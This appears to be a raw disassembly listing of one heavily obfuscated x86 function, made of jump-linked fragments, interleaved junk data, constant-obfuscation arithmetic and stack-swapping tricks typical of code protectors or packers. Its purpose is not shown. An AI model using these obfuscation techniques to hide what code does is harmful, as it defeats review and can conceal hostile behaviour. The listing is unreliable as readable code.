		dd 29A7A2BEh, 0CB0158C1h, 4C38359h, 5C241C87h, 732668h
		dd 0BE42E900h, 0C281FFFFh, 0FFFFFFFFh, 92EA8142h, 0E90F9736h
		dd 0A03h, 0D14EE951h, 48FFFFFh,	3CA96824h, 4FE90000h
		db 0F3h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55066B:				; CODE XREF: sub_542C3C+A76Fj
		xchg	eax, [esp+38h+var_38]
		mov	esp, [esp+38h+var_38]
		shr	eax, 0Eh
		xor	eax, ecx
		push	3BF1h
		mov	[esp+3Ch+var_3C], eax
		xchg	eax, [esp+3Ch+var_3C]
		push	eax
		not	[esp+40h+var_40]
		push	[esp+40h+var_40]
		jmp	loc_54ECE4
; ---------------------------------------------------------------------------
		db 5Ch,	0E9h, 0E6h
		dd 81FFFFA0h, 0E34C0DEEh, 2BE56DCh, 0E95E7F28h,	0FFFF6F7Fh
		dd 5E6368h, 24148900h, 0C281E289h, 4, 753CE950h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_5506BA:				; CODE XREF: sub_542C3C+C320j
		neg	ebp
		jmp	loc_54EF68
; ---------------------------------------------------------------------------
		db 66h,	8Bh, 4
aRhD		db '$Rh',7,'d',0
		dw 0E900h
		dd 0FFFF7D1Bh, 83D831ADh, 33E904ECh, 0FFFFFF67h, 669D1C77h
		dd 24041858h, 6590E99Ch, 4E59FFFFh, 0CE81D6F7h,	4D0703DDh
		dd 0DBF9EE81h, 0C9E9DFB7h, 5CFFFFA9h, 582434FFh, 0FFE2DFE9h
		dd 815954FFh, 4C1h, 0EDB85000h,	0E93EE65Ah, 0FFFFD23Dh
		dd 0F610B353h, 77B652DBh, 148BF330h, 4C48124h, 80000000h
		dd 0C3FE38E3h, 0FF8E12E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_550739:				; CODE XREF: sub_542C3C+F722j
		add	ebp, ebx
		mov	ebx, [esp+38h+var_38]
		jmp	loc_54F544
; ---------------------------------------------------------------------------
		db 0BEh
		dd 561419B5h, 4247429h,	0FF8832E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_550751:				; CODE XREF: sub_542C3C+911Fj
		pop	ebp
		jmp	loc_54F6B4
; ---------------------------------------------------------------------------
		db 5Bh
		dd 4C381h, 0C3810000h, 2, 2F0368h, 241C8900h, 42474FFh
		dd 8B2434FFh, 0C481241Ch, 4, 8F04C483h,	53E92404h
		db 0ACh, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_550787:				; CODE XREF: sub_542C3C+B9E2j
		mov	eax, 6D2028ECh
		jmp	loc_5512E7
; ---------------------------------------------------------------------------
		db 0C1h, 0E1h, 8
		dd 5202E9C1h, 41B9A8BAh, 0E9D129F1h, 0FFFF9A53h, 5AD53058h
		dd 0E828A004h, 94E9A02Ch, 81FFFFB7h, 4C3h, 0A889E900h
		dd 5451FFFFh, 0FF778DE9h, 4C483FFh, 9FFAD205h, 58C789F7h
		dd 0CCE9F801h, 1FFFFC6h, 867E9EAh
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_5507DE:				; CODE XREF: sub_542C3C+460Fj
		add	ecx, 0E086EDD5h
		xor	eax, ecx
		jmp	loc_550FD9
; ---------------------------------------------------------------------------

loc_5507EB:				; CODE XREF: sub_542C3C+D078j
		xor	ah, 1Dh
		mov	bh, ah
		mov	eax, [esp+38h+var_38]
		add	esp, 4
		push	small 0
		sub	byte ptr [esp+36h+var_38+2], bh
		jmp	loc_54F5D4
; ---------------------------------------------------------------------------
		db 53h,	0BBh, 97h
		dd 810ED81Eh, 5C6162CBh, 0B2EDE949h, 0FF57FFFFh, 5F042474h
		dd 5C24048Fh, 177E9h, 0E9F32800h, 0FFFFF344h, 8B243487h
		dd 0BF0F2424h, 0E08950C8h, 405h, 9E5EE900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_550842:				; CODE XREF: sub_542C3C+5AEBj
		or	eax, eax
		jmp	loc_54A60B
; ---------------------------------------------------------------------------
		db 0F7h, 1Ch, 24h
		dd 0F1814959h, 0C12CD121h, 5916ED81h, 0CD016492h, 5916C581h
		dd 29596492h, 8BED81C5h, 8B595529h, 0C4812404h,	4, 8B242C87h
		dd 89662424h, 1EE9240Ch, 68FFFF6Bh, 1F800088h, 7DA86859h
		dd 4890000h, 65B2B824h,	4FE92D02h
		db 0B0h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55089B:				; CODE XREF: sub_542C3C+7767j
		add	esp, 4
		push	edx
		jmp	loc_54F3CF
; ---------------------------------------------------------------------------
		db 81h
		dd 2A6017F5h, 92ED812Ah, 813D551Fh, 71093FEDh, 3CED8114h
		dd 0E91E8280h, 1166h, 0AD255105h, 2DF82929h, 29AD2551h
		dd 0FFCAC2E9h, 243C89FFh, 916866h, 0F7665F66h, 0EF8166DFh
		dd 4DE92076h, 1FFFFD9h,	0BCEF81DFh, 0E974D655h,	0FFFF63F5h
		dd 2C18ED80h, 53E80019h, 0D80019B3h, 0B7F8E95Bh, 0D0F7FFFFh
		dd 0C31D2A05h, 19E2253Ch, 0E8C15F00h, 3E00508h,	0C5894B9Ch
		dd 13C58158h, 29B41DFCh, 14875DEAh, 65E95C24h
		db 81h,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_550933:				; CODE XREF: sub_542C3C+F7DEj
		mov	ebx, 6B755BF5h
		or	ebx, 69DB5E01h
		xor	ebx, 75B7037Fh
		jmp	loc_54880E
; ---------------------------------------------------------------------------
		db 5Fh,	83h, 0ECh
		dd 9126E904h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_550952:				; CODE XREF: sub_542C3C+4F72j
		mov	edx, [esp+34h+var_34]
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xor	esi, [esp+38h+var_38]
		xor	[esp+38h+var_38], esi
		xor	esi, [esp+38h+var_38]
		pop	esp

loc_55096B:				; CODE XREF: sub_542C3C+7505j
		push	2768h
		mov	[esp+38h+var_38], ebx
		jmp	loc_54F0A5
; ---------------------------------------------------------------------------
		dd 4C181h, 0A7E90000h, 8100001Ch, 5C08246Ch, 11EEC23h
		dd 81082474h, 5C082444h, 0E91EEC23h, 0FFFFA9DAh, 0E9243C89h
		dd 0FFFFFB10h, 2BAh, 6DE98100h,	0E94CD912h, 0FFFF8EA4h
		dd 42E9CA01h
		db 0C1h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_5509BB:				; CODE XREF: sub_542C3C+8A61j
		xor	ebp, [esp+38h+var_38]
		jmp	loc_548BF0
; ---------------------------------------------------------------------------
		db 59h
		dd 0FFD19AE9h, 0E95958FFh, 0FFFF62AAh, 0CE016659h, 0C7C68166h
		dd 6659664Dh, 0BDE9F031h, 0BBFFFFECh, 1D673D40h, 0C106E3C1h
		dd 0BF5703EBh, 534D6F42h, 295FFB01h, 0EE815BDEh, 62744AB5h
		dd 1F64E9h
		db 0
; ---------------------------------------------------------------------------

loc_550A05:				; CODE XREF: sub_542C3C+93E7j
		sub	ebp, 0B27723h
		jmp	loc_54EC11
; ---------------------------------------------------------------------------
		dd 63E932FFh, 81FFFF62h, 4ECh, 240C8900h, 380E9h, 8BE32800h
		dd 0C4832404h, 0E9516604h, 1715h, 5C241487h, 0FF73C2E9h
		dd 24048BFFh, 0FFDFAEE9h, 240C8BFFh, 4C481h, 34330000h
		dd 24343124h, 8B243433h, 0D5E92424h, 1FFFF8Dh, 0E95D5BD8h
		dd 1321h, 4C181h, 0E9830000h, 240C8704h, 48F545Ch, 24048324h
		dd 24048B04h, 4C481h, 4050000h,	0E9000000h, 0FFFF7E88h
		dd 4C481h, 0BF570000h, 72CC7F82h, 3BB6E781h, 0EF8127E8h
		dd 0FFFFFFFFh, 6DFDEF81h, 0E7813846h, 16BD6C8Dh, 1F55C781h
		dd 0F78151F3h, 54746BDDh, 0FFDF74E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_550AC5:				; CODE XREF: sub_542C3C+B548j
		mov	edi, 47952088h
		jmp	loc_552101
; ---------------------------------------------------------------------------
		db 57h
		dd 2611D7BFh, 7FEF8158h, 551F3B5Fh, 9A0F3EBDh, 8EDC101h
		dd 0ED81D5F7h, 148A14EAh, 2CAEE581h, 0F58172A4h, 5ACF04F0h
		dd 0F0EBA52h, 0C28108DEh, 37E31D35h, 0E95AD531h, 48h
; ---------------------------------------------------------------------------

loc_550B0C:				; CODE XREF: sub_542C3C+E32Dj
		pop	edi
		push	ebp
		push	[esp+20h+var_1C]
		push	[esp+24h+var_24]
		pop	ebp
		add	esp, 4
		pop	[esp+20h+var_20]
		jmp	loc_54C716
; ---------------------------------------------------------------------------

loc_550B24:				; CODE XREF: sub_542C3C+F287j
		pop	ebx
		sub	esp, 4
		mov	[esp+1Ch+var_1C], ebx
		jmp	loc_54A64D
; ---------------------------------------------------------------------------
		db 56h
		dd 1510E9h, 1C77FF00h, 0D359669Dh, 0E99C2414h, 24CFh, 4B9h
		dd 0E9CF0100h, 0B58h, 815DEF01h, 14DB09EFh, 5FF901B1h
		dd 0FFF466E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_550B65:				; CODE XREF: sub_542C3C+FF1Ej
		mov	[esp+1Ch+var_1C], ecx
		mov	ecx, 128652E2h
		jmp	loc_54BC81
; ---------------------------------------------------------------------------

loc_550B72:				; CODE XREF: sub_542C3C+F60Bj
		push	ecx
		mov	ecx, 4
		add	ebp, ecx
		pop	ecx
		xor	ebp, [esp+1Ch+var_1C]
		xor	[esp+1Ch+var_1C], ebp
		xor	ebp, [esp+1Ch+var_1C]
		pop	esp
		jmp	loc_550ECF
; ---------------------------------------------------------------------------

loc_550B8A:				; CODE XREF: sub_542C3C+5611j
		mov	al, dl
		pop	edx
		xor	al, 0Eh
		shl	al, 3
		sub	al, 88h
		add	al, 0FCh
		and	al, 3Fh
		sub	al, 8Fh
		jmp	loc_5518A1
; ---------------------------------------------------------------------------

loc_550B9F:				; CODE XREF: sub_542C3C+D434j
		sub	esp, 4
		mov	[esp+34h+var_34], ecx
		jmp	loc_549C68
; ---------------------------------------------------------------------------

loc_550BAA:				; CODE XREF: sub_542C3C+9605j
		sub	ecx, 0DDA6D405h
		or	edx, ecx
		mov	ecx, [esp+44h+var_44]
		add	esp, 4
		jmp	loc_54CC03
; ---------------------------------------------------------------------------

loc_550BBD:				; CODE XREF: sub_542C3C+B656j
		mov	dl, ch
		pop	ecx
		mov	[edi+eax*4], dl
		mov	edx, [esp+38h+var_38]
		push	ebx
		mov	ebx, esp
		jmp	loc_552A7D
; ---------------------------------------------------------------------------
		dw 2C89h
		dd 2C8B5424h, 4C48124h,	52000000h, 0D73C68BAh, 3C28177h
		dd 810A0A60h, 657CD1EAh, 62CA813Bh, 8146246Dh, 8C6232E2h
		dd 68E5E923h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_550BFE:				; CODE XREF: sub_542C3C+10054j
		push	[esp+3Ch+var_38]
		mov	eax, [esp+40h+var_40]
		add	esp, 4
		pop	[esp+3Ch+var_3C]
		push	[esp+38h+var_38]
		mov	eax, [esp+3Ch+var_3C]
		add	esp, 4
		add	esp, 4
		sub	esp, 4
		jmp	loc_55005D
; ---------------------------------------------------------------------------
		db 31h
		dd 0C8295BD9h, 81C33159h, 5004F7C2h, 770BE948h,	1C89FFFFh
		dd 106E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_550C3A:				; CODE XREF: sub_542C3C+A287j
		shl	ecx, 1
		shr	ecx, 6
		push	edx
		mov	edx, 5F485D21h
		inc	edx
		jmp	loc_54E4F3
; ---------------------------------------------------------------------------

loc_550C4B:				; CODE XREF: sub_542C3C+436Dj
		push	24B8h
		jmp	loc_549685
; ---------------------------------------------------------------------------
		db 66h,	8Bh, 4
		dd 0E2895224h, 0FFA561E9h, 67D05FFh, 553524CEh,	0E9716F4Eh
		dd 0FFFFB9D5h, 52E68956h, 0CD5059BAh, 0ABB9514Fh, 0E9B032AFh
		dd 0FFFF95ACh
; ---------------------------------------------------------------------------

loc_550C84:				; CODE XREF: sub_542C3C+FABCj
		add	[esp+40h+var_40], 24B54BE0h
		mov	eax, [esp+40h+var_40]
		add	esp, 4
		sub	eax, 24B54BE0h
		jmp	loc_548E67
; ---------------------------------------------------------------------------
		dw 5B52h
		dd 0FF9443E9h, 24248BFFh, 0FFE5E9E9h, 784ABEFFh, 0F2893B8Eh
		dd 0FF890EE9h, 241489FFh, 0FF9D0DE9h, 242C33FFh, 0F24248Bh
		dd 9C51C8AFh, 0FF5FA9E9h, 0E95152FFh, 0FFFFE6C4h
; ---------------------------------------------------------------------------

loc_550CD8:				; CODE XREF: sub_542C3C+F660j
		mov	ebx, esi
		pop	esi
		jmp	loc_54CE2B
; ---------------------------------------------------------------------------
		dd 0FFC0B60Fh, 56558734h, 3FCBEh, 0F3895300h, 1C8BDD89h
		dd 4C48324h, 5224348Bh,	0BD55E289h, 64AE5871h, 586DBE56h
		dd 0F52964AEh, 5DEA015Eh, 4C281h, 6DE90000h, 81FFFFAFh
		dd 4ECh, 240C8900h, 4EC81h, 0E9540000h,	0FFFFBC10h, 0BEE9CB89h
		db 0BEh, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_550D37:				; CODE XREF: sub_542C3C+C7A2j
		and	edi, edx
		pop	edx
		push	eax
		jmp	loc_547A5B
; ---------------------------------------------------------------------------
		dd 0C7807DB7h, 0E0EF8011h, 2050B050h, 0CF8058C7h, 0E951668Dh
		dd 0FFFF9F9Dh
; ---------------------------------------------------------------------------

loc_550D58:				; CODE XREF: sub_542C3C+96E5j
		push	eax
		mov	eax, ebx
		mov	esi, eax
		jmp	loc_550624
; ---------------------------------------------------------------------------
		dw 0D6F7h
		dd 6856F187h, 447h, 5E240C89h, 81240C8Bh, 4C4h,	0BD28E900h
		dd 814AFFFFh, 66470EAh,	0A5CBE952h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_550D8A:				; CODE XREF: sub_542C3C+96D2j
		mov	ebp, 560C4B93h
		and	ebp, 747263B5h
		xor	ebp, 50E773FFh
		add	edx, ebp
		pop	ebp
		add	edx, ecx
		jmp	loc_54B574
; ---------------------------------------------------------------------------
		db 0B1h, 0D1h, 0F6h
		dd 92C180D1h, 284BF180h, 895659C8h, 6AC9E9E6h, 505FFFFFh
		dd 0FF7A1EE9h, 240C87FFh, 0FFEDEBE9h, 2ECE68FFh, 4890000h
		dd 58ACB824h, 0E0C10283h, 0C1D0F704h, 0E30502E8h, 0E9EC2FB2h
		dd 0FFFFC6B0h, 335BDE29h, 3E92434h, 5CFFFF7Fh, 24048B66h
		dd 0FFB06AE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_550DFD:				; CODE XREF: sub_542C3C+C8B1j
		mov	al, 24h
		jmp	loc_54CB51
; ---------------------------------------------------------------------------
		dd 14E9F189h, 66FFFFA3h, 0E951B151h, 0FFFF5EC1h, 0C281CA01h
		dd 36B81B85h, 0FF853BE9h, 0C8B66FFh, 0E1895124h, 4C181h
		dd 55570000h, 0E461C3BDh, 0BDB3E973h, 0F281FFFFh, 365656D1h
		dd 15AD329h, 0D066E9C3h, 3489FFFFh, 84DE924h, 585F0000h
		dd 34FFC821h, 0EC835924h, 24148904h, 0C281E289h, 4, 4C281h
		dd 14870000h, 0C0095C24h, 0FF9280E9h, 0DA0158FFh, 2414875Bh
		dd 1668535Ch, 0E9000038h, 0FFFF6D45h, 0FF5DE9E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_550E91:				; CODE XREF: sub_542C3C+D161j
		add	[esp+2Ch+var_2C], 51F107E4h
		jmp	loc_54D15C
; ---------------------------------------------------------------------------

loc_550E9D:				; CODE XREF: sub_542C3C+100B9j
		mov	esi, 201B3B71h
		or	ebp, esi
		pop	esi
		jmp	loc_548777
; ---------------------------------------------------------------------------

loc_550EAA:				; CODE XREF: sub_542C3C+9096j
		mov	[esp+30h+var_30], edx
		push	ebp
		push	edx
		push	775407EFh
		pop	edx
		push	ecx
		mov	ecx, 4A26209Eh
		and	ecx, 61440304h
		dec	ecx
		neg	ecx
		add	ecx, 7A93727h
		jmp	loc_54C23B
; ---------------------------------------------------------------------------

loc_550ECF:				; CODE XREF: sub_542C3C+DF49j
		jmp	loc_546C7A
; ---------------------------------------------------------------------------
		dd 0B60F6664h, 0A4686602h, 4896614h, 5D94E924h,	0C281FFFFh
		dd 40F0252h, 5302EAC1h,	0FFB094E9h, 54EB8FFh, 0E9505E0Dh
		dd 0FFFF6E38h, 0BA241489h, 152466B8h, 1E97C281h, 0AE95D53h
		dd 55FFFFD9h, 0DB71C9BDh, 6ED810Fh, 0E9F701F9h,	0FFFFB04Eh
		dd 4EC815Ch, 89000000h,	0EC832404h, 24248904h, 4240481h
		dd 58000000h, 405h, 4BF5700h, 0E9000000h, 0FFFFCED4h, 5104C483h
		dd 5A53E668h, 240C8B56h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		push	edi
		mov	edi, 4
		add	ebp, edi
		jmp	loc_550B0C
; ---------------------------------------------------------------------------

loc_550F6E:				; CODE XREF: sub_542C3C+6658j
		push	edx
		mov	edx, esp
		push	eax
		mov	eax, 4
		add	edx, eax
		pop	eax
		add	edx, 4
		xchg	edx, [esp+30h+var_30]
		mov	esp, [esp+30h+var_30]
		push	eax
		mov	eax, esp
		push	edi
		jmp	loc_54A0C2
; ---------------------------------------------------------------------------
		dd 814ADAF7h, 8161CAC2h, 5AD02167h, 0DB2DD0F7h,	81DC7EFFh
		dd 0D8553AC2h, 0E9C20143h, 0FFFFD4B0h
; ---------------------------------------------------------------------------

loc_550FAC:				; CODE XREF: sub_542C3C+C41Fj
		or	eax, eax
		jmp	loc_54CC86
; ---------------------------------------------------------------------------
		db 0ACh
		dd 6866D830h, 8966143Ah, 0B652240Ch, 7B39E961h,	433FFFFh
		dd 4D35C24h, 17E99C24h
		db 0Fh,	2 dup(0)
; ---------------------------------------------------------------------------

loc_550FD3:				; CODE XREF: sub_542C3C+A807j
		pop	esi
		jmp	loc_54FC30
; ---------------------------------------------------------------------------

loc_550FD9:				; CODE XREF: sub_542C3C+DBAAj
		pop	ecx
		sub	esp, 4
		jmp	loc_551826
; ---------------------------------------------------------------------------
		db 1, 0EAh, 5Dh
		dd 3A6B68h, 60F0E900h, 8359FFFFh, 148704C2h, 0C1835C24h
		dd 240C3302h, 0E9240C31h, 0FFFF7BB3h
; ---------------------------------------------------------------------------

loc_551008:				; CODE XREF: sub_542C3C+B4F4j
		xor	edi, eax
		pop	eax
		xor	esi, edi
		pop	edi
		and	esi, 15A63FE9h
		xor	esi, 405355B3h
		xor	eax, esi
		mov	esi, [esp+18h+var_18]
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp+1Ch+var_1C]
		pop	esp
		push	66A1h
		mov	[esp+1Ch+var_1C], esi
		push	ecx
		mov	ecx, 1EF653C4h
		jmp	loc_549D30
; ---------------------------------------------------------------------------
		db 5Dh,	89h, 0D5h
		dd 5A2434FFh, 0E904C483h, 0FFFFE305h, 3CE9028Fh, 81FFFF68h
		dd 466243C6h, 81D60174h, 466243EEh, 52535A74h, 2BAh, 5AD38900h
		dd 4112EE81h, 0EE816A3Eh, 19F90201h, 0C681DE01h, 19F90201h
		dd 4112C681h, 34FF6A3Eh, 155FE924h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_551096:				; CODE XREF: sub_542C3C+E97Cj
		mov	ecx, 4056318h
		jmp	loc_54CD14
; ---------------------------------------------------------------------------
		db 8Bh,	0Ch, 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		jmp	loc_551B93
; ---------------------------------------------------------------------------
		db 1
		dd 0E3E95DE9h, 66FFFFD0h, 0E956D831h, 0FFFFD98Eh, 8124148Bh
		dd 4C4h, 0E9505500h, 0C88h, 34FFFA89h, 0C4815F24h, 4, 0EB4C681h
		dd 0F2E9236Bh, 29000005h, 0FD5E59CFh, 0A68h, 2434FF00h
		dd 980FE959h, 0E2D0FFFFh, 0CAFEC2FEh, 0FF6405E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_551101:				; CODE XREF: sub_542C3C+95E7j
		mov	ebx, esp
		push	ebx
		jmp	loc_546FB9
; ---------------------------------------------------------------------------

loc_551109:				; CODE XREF: sub_542C3C+CC87j
		mov	ecx, 2AE37888h
		xor	ecx, ebp
		jmp	loc_5481A8
; ---------------------------------------------------------------------------

loc_551115:				; CODE XREF: sub_542C3C+9089j
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp+2Ch+var_2C]
		pop	esp
		sub	esp, 4
		mov	[esp+2Ch+var_2C], esi
		jmp	loc_54A800
; ---------------------------------------------------------------------------
		db 29h
		dd 0FEC281F2h, 8B003F5Fh, 7E92434h, 81FFFFAFh, 4C4h, 240C3100h
		dd 0E9240C33h, 0FFFF7CCBh, 4B8h, 0E9C50100h, 0FFFF9D2Bh
; ---------------------------------------------------------------------------

loc_55115C:				; CODE XREF: sub_542C3C+FC7Cj
		mov	esi, 51985192h
		push	edi
		mov	edi, 59D52862h
		shl	edi, 6
		push	esi
		mov	esi, 19BF4447h
		xor	esi, 19C56537h
		add	esi, 384E2285h
		neg	esi
		inc	esi
		neg	esi
		xor	esi, 7911387Dh
		or	edi, esi
		pop	esi
		jmp	loc_54C431
; ---------------------------------------------------------------------------

loc_55118F:				; CODE XREF: sub_542C3C+81BAj
		pop	ebp
		neg	esi
		sub	esi, 282815DEh
		add	edi, esi
		pop	esi
		jmp	loc_54D52D
; ---------------------------------------------------------------------------

loc_5511A0:				; CODE XREF: sub_542C3C+E889j
		shr	edx, 1
		cmp	eax, edx
		jmp	loc_552CD0
; ---------------------------------------------------------------------------
		db 83h,	0EFh, 4
		dd 0FF9B00E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_5511B1:				; CODE XREF: sub_542C3C+F492j
		xor	edi, 170C30CDh
		mov	edx, edi
		mov	edi, [esp+1Ch+var_1C]
		sub	esp, 4
		mov	[esp+20h+var_20], ebx
		push	67BCh
		push	esp
		pop	[esp+28h+var_28]
		add	[esp+24h+var_24], 4
		jmp	loc_54EB05
; ---------------------------------------------------------------------------
		db 58h
		dd 0C8BEB00h, 4C48324h,	6FBA6853h, 1C8B0B3Dh, 4C48324h
		dd 508ABE56h, 0EEC1223Eh, 0F6E68105h, 533B1F38h, 3D1562BBh
		dd 0F7DBF715h, 0B523E9D3h, 48BFFFFh, 4C48324h, 7B8DC381h
		dd 0D3293CD9h, 7B8DEB81h, 0C0683CD9h, 8900006Eh, 28B82404h
		dd 8134AB6Dh, 7413B5EBh, 81C3290Bh, 7413B5C3h, 148B580Bh
		dd 4C48324h, 665DEB81h,	0DF01973Eh, 0FA92E95Bh,	0B65BFFFFh
		dd 59EE00F6h, 0FFF263E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_551259:				; CODE XREF: sub_542C3C+D5CFj
		pop	edi
		push	ecx
		jmp	loc_5489BF
; ---------------------------------------------------------------------------
		dd 243C335Eh, 33243C31h, 665C243Ch, 0E9240489h,	0FFFF5A06h
; ---------------------------------------------------------------------------

loc_551274:				; CODE XREF: sub_542C3C+551Cj
		push	eax
		mov	eax, 4
		add	edx, eax
		pop	eax
		add	edx, 4
		xchg	edx, [esp+38h+var_38]
		jmp	loc_54CA52
; ---------------------------------------------------------------------------
		db 50h
		dd 0EC6805B8h, 58C6895Bh, 295EF129h, 0BAD7E9E9h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55129E:				; CODE XREF: sub_542C3C+6D52j
		pop	esi
		add	esp, 4

loc_5512A2:				; CODE XREF: sub_542C3C+4D3Dj
		sub	esp, 4
		jmp	loc_54E57C
; ---------------------------------------------------------------------------

loc_5512AA:				; CODE XREF: sub_542C3C+55CFj
		xor	[esp+34h+var_30], esi
		jmp	loc_55150A
; ---------------------------------------------------------------------------
		db 8Fh
		dd 0BFE94047h, 8BFFFF59h, 45E9240Ch, 88FFFF6Ah,	40E95AF4h
		db 1, 2	dup(0)
; ---------------------------------------------------------------------------

loc_5512CB:				; CODE XREF: sub_542C3C+55E7j
		and	esi, 78E67F1Eh
		xor	esi, 455C4D3Eh
		add	ebx, esi
		pop	esi
		sub	ebx, eax
		sub	ebx, 351A4D2Ch
		jmp	loc_54DED0
; ---------------------------------------------------------------------------

loc_5512E7:				; CODE XREF: sub_542C3C+DB50j
		add	[esp+24h+var_20], eax
		mov	eax, [esp+24h+var_24]
		jmp	loc_549279
; ---------------------------------------------------------------------------
		db 31h
		dd 0F38159CBh, 0B13D96B6h, 7234B951h, 0F1816EFCh, 736073C0h
		dd 4210E181h, 0D1F72F8Dh, 0B6FE9h, 0F9015D00h, 78C36857h
		dd 0DBE918D9h
		db 5Ch,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_551323:				; CODE XREF: sub_542C3C+997Dj
		push	2B4Fh
		mov	[esp+3Ch+var_3C], eax
		xor	[esp+3Ch+var_3C], edi
		xor	edi, [esp+3Ch+var_3C]
		xor	[esp+3Ch+var_3C], edi
		sub	esp, 4
		mov	[esp+40h+var_40], edi
		xchg	eax, [esp+40h+var_40]
		jmp	loc_5524C8
; ---------------------------------------------------------------------------

loc_551345:				; CODE XREF: sub_542C3C+B3E3j
		xor	ecx, 0AF74AB2h
		mov	edx, ecx
		pop	ecx
		neg	edx
		sub	edx, 0ED779882h
		add	ebp, 28C161CDh
		add	ebp, 177D1082h
		add	ebp, edx
		sub	ebp, 177D1082h
		sub	ebp, 28C161CDh
		pop	edx
		xor	ebp, [esp+44h+var_44]
		xor	[esp+44h+var_44], ebp
		xor	ebp, [esp+44h+var_44]
		mov	esp, [esp+44h+var_44]
		jmp	loc_54C53B
; ---------------------------------------------------------------------------
		dw 0C231h
		dd 0FFC21FE9h, 0F665CFFh, 9C2404A3h, 0FF58E5E9h, 241C33FFh
		dd 5024248Bh, 405E089h,	83000000h, 48704C0h, 34FF5C24h
		dd 0EC835924h, 242C8904h, 68535D54h, 4,	0E9DD015Bh, 0FFFFD64Dh
; ---------------------------------------------------------------------------

loc_5513C4:				; CODE XREF: sub_542C3C+98E1j
		and	ecx, 2FA7597Dh
		jmp	loc_54B5E9
; ---------------------------------------------------------------------------
		db 5Fh
		dd 31240433h, 4332404h,	24248B24h, 0E902EC83h, 0FFFFD55Ch
		dd 54240C89h, 4C18159h,	57000000h, 2BFh, 5FF92900h, 31240C33h
		dd 0C33240Ch, 89665C24h, 6FE92404h, 88FFFF58h, 8147E9E1h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_551412:				; CODE XREF: sub_542C3C+D7B5j
		xor	edi, 112D4521h
		inc	edi
		push	ebp
		mov	ebp, 60305EFh
		xor	edi, ebp
		pop	ebp
		jmp	loc_5518F2
; ---------------------------------------------------------------------------

loc_551427:				; CODE XREF: sub_542C3C+B6C9j
		inc	ebp
		neg	ebp
		jmp	loc_549A91
; ---------------------------------------------------------------------------
		db 9
		dd 0EEE95DEBh, 83FFFF89h, 21E904C4h, 0B9FFFF9Ah, 4A3F5C5Dh
		dd 8159CD09h, 765E47EDh, 70926842h, 34890000h, 0A134BE24h
		dd 0F5292949h, 0F1C1815Eh, 131D340h, 0F120E9E9h, 0EC81FFFFh
		dd 4, 0E9241C89h, 0FFFFE2D7h, 30EE81ADh, 0E9784E1Ch, 0FFFF6E1Bh
; ---------------------------------------------------------------------------

loc_551484:				; CODE XREF: sub_542C3C+4116j
		xor	edx, eax
		jmp	loc_54DF07
; ---------------------------------------------------------------------------
		db 81h
		dd 3779E1C6h, 8C6815Eh,	81912AD5h, 802467C5h, 81F5012Eh
		dd 802467EDh, 24348B2Eh, 4C481h, 2CE90000h, 81000012h
		dd 86CDA6EAh, 5AD189CEh, 3DE9CA89h
		db 60h,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_5514C3:				; CODE XREF: sub_542C3C+8167j
		or	ebx, ebx
		jnz	loc_5511A0
		push	3B0Eh
		mov	[esp+28h+var_28], ecx
		mov	ecx, 20h
		add	ecx, edi
		jmp	loc_54FD2E
; ---------------------------------------------------------------------------
		db 1
		dd 3CD2DF0h, 348B66CFh,	4C48124h, 0E9000000h, 0FFFF80F7h
		dd 0A1E9CA01h, 51FFFF5Fh, 5B7AB966h, 13C98166h,	6951E97Eh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_55150A:				; CODE XREF: sub_542C3C+E672j
		mov	esi, [esp+34h+var_34]
		add	esp, 4
		mov	eax, [esp+30h+var_30]
		jmp	loc_5481C0
; ---------------------------------------------------------------------------

loc_55151B:				; CODE XREF: sub_542C3C+9F63j
		mov	esi, 4
		add	edi, esi
		pop	esi
		xor	edi, [esp+30h+var_30]
		xor	[esp+30h+var_30], edi
		jmp	loc_55164D
; ---------------------------------------------------------------------------

loc_55152E:				; CODE XREF: sub_542C3C+C74Ej
		push	edx
		mov	edx, 0D820FFAh
		jmp	loc_54ED3B
; ---------------------------------------------------------------------------

loc_551539:				; CODE XREF: sub_542C3C+D9E9j
		mov	ebx, [esp+24h+var_24]
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp+28h+var_28]
		pop	esp
		add	eax, esi
		pop	esi
		push	7C6Bh
		mov	[esp+24h+var_24], edi
		mov	edi, 7C9C0A0Eh
		jmp	loc_548C0C
; ---------------------------------------------------------------------------
		dd 5F2434FFh, 0FF937EE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_55156D:				; CODE XREF: sub_542C3C+8AB8j
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		jmp	loc_54D2B2
